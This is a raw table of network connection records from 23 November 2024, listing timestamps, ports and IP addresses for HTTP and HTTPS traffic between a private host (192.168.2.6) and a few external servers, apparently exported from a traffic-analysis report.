Nov 23, 2024 13:28:36.834832907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.834891081 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.837426901 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.837591887 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.837646008 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.838851929 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.877113104 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.877181053 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.877244949 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.878350019 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.878406048 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.878463984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.889060974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.889116049 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.889118910 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.918411970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.918493032 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.918500900 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.919660091 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.919723988 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.919770956 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.921433926 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.921492100 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.921518087 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.959767103 CET	443	49794	104.21.33.116	192.168.2.6
Nov 23, 2024 13:28:36.959866047 CET	443	49794	104.21.33.116	192.168.2.6
Nov 23, 2024 13:28:36.959937096 CET	49794	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:36.960908890 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.960969925 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.961009026 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.961846113 CET	49794	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:36.961869955 CET	443	49794	104.21.33.116	192.168.2.6
Nov 23, 2024 13:28:36.962100983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.962168932 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.962232113 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.964575052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.964648008 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.990390062 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.990463018 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.990509033 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.003211021 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.003366947 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.003424883 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.004431963 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.004890919 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.004951000 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.004954100 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.007359028 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.007427931 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.012290001 CET	49802	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:37.012314081 CET	443	49802	104.21.33.116	192.168.2.6
Nov 23, 2024 13:28:37.012393951 CET	49802	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:37.012784958 CET	49802	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:37.012797117 CET	443	49802	104.21.33.116	192.168.2.6
Nov 23, 2024 13:28:37.031441927 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.031486034 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.031622887 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.045449972 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.045486927 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.045583010 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.046674967 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.046756983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.046809912 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.048451900 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.048594952 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.048651934 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.087100983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.087256908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.087338924 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.088327885 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.088378906 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.088526011 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.090810061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.099726915 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.099766970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.099808931 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.129468918 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.129544020 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.129573107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.130574942 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.130626917 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.130631924 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.132411003 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.132467985 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.132529974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.134922028 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.134984970 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.213239908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.213387012 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.213493109 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.214515924 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.214597940 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.214646101 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.216878891 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.217668056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.217720985 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.217767000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.220122099 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.220177889 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.220361948 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.222568035 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.222614050 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.241780043 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.241877079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.241929054 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.254187107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.254322052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.254369020 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.255381107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.255542040 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.255589008 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.257842064 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.296513081 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.296566963 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.296633959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.297691107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.297739983 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.297791958 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.309695959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.309751034 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.309782028 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.338953972 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.339010000 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.339077950 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.340176105 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.340229988 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.340272903 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.392551899 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.422262907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.422394037 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.422444105 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.423476934 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.423603058 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.423648119 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.425944090 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.426062107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.426114082 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.428071976 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.428198099 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.428246975 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.430465937 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.452419043 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.452462912 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.452485085 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.465015888 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.465075016 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.465120077 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.466207027 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.466253996 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.466303110 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.507354021 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.507414103 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.507416964 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.508454084 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.508502960 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.520112038 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.520172119 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.520219088 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.550327063 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.550506115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.550554991 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.551485062 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.595679998 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.632770061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.632824898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.632878065 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.653444052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.653567076 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.653626919 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.654598951 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.662626028 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.662686110 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.662749052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.695163965 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.695199966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.695228100 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.696316957 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.696383953 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.717614889 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.717668056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.717715025 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.758172035 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.758263111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.758323908 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.759396076 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.760503054 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.760555983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.760564089 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.796458006 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:37.796514988 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:37.796554089 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:37.796606064 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:37.796657085 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:37.796689987 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:37.796721935 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:37.796725035 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:37.796773911 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:37.796797037 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:37.796823025 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:37.796847105 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:37.796861887 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:37.796875954 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:37.796921015 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:37.799732924 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.799813986 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.799896955 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.801060915 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.801131964 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.844463110 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.844564915 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.844922066 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.845616102 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.864032030 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.864089012 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:37.864190102 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:37.916502953 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:37.916563988 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:37.916591883 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:37.916636944 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.006902933 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.007004976 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.007004976 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.007074118 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.011239052 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.011305094 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.011344910 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.011398077 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.019556999 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.019710064 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.019785881 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.027982950 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.028083086 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.028145075 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.036350012 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.036473036 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.036511898 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.036546946 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.044804096 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.044873953 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.044926882 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.045099974 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.053376913 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.053440094 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.053574085 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.053632021 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.061649084 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.061738014 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.061764002 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.061824083 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.069994926 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.070061922 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.070111990 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.070171118 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.078485966 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.078548908 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.078629017 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.078686953 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.084618092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.084758043 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.084935904 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.085844994 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.085998058 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.086111069 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.086802006 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.086853027 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.086863995 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.086910963 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.127010107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.127187014 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.128247023 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.128324986 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.168612957 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.168695927 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.168732882 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.169823885 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.169871092 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.170209885 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.170345068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.170825005 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.172657013 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.211149931 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.211218119 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.211260080 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.212343931 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.212424994 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.212476015 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.214812040 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.214874029 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.217547894 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.217637062 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.217736959 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.217849016 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.220313072 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.220377922 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.220473051 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.220531940 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.226041079 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.226121902 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.226211071 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.226296902 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.231272936 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.231369019 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.231441975 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.236629963 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.236732006 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.236747980 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.236809015 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.242099047 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.242157936 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.242335081 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.242564917 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.247618914 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.247668982 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.247730970 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.252990961 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.253083944 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.253123999 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.253135920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.253206968 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.253238916 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.253405094 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.254332066 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.254674911 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.254724979 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.254761934 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.257126093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.257184029 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.258460999 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.258526087 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.258564949 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.258620977 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.263925076 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.263983965 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.264072895 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.264249086 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.269391060 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.269512892 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.269598961 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.275352001 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.275418043 CET	80	49799	185.215.113.16	192.168.2.6
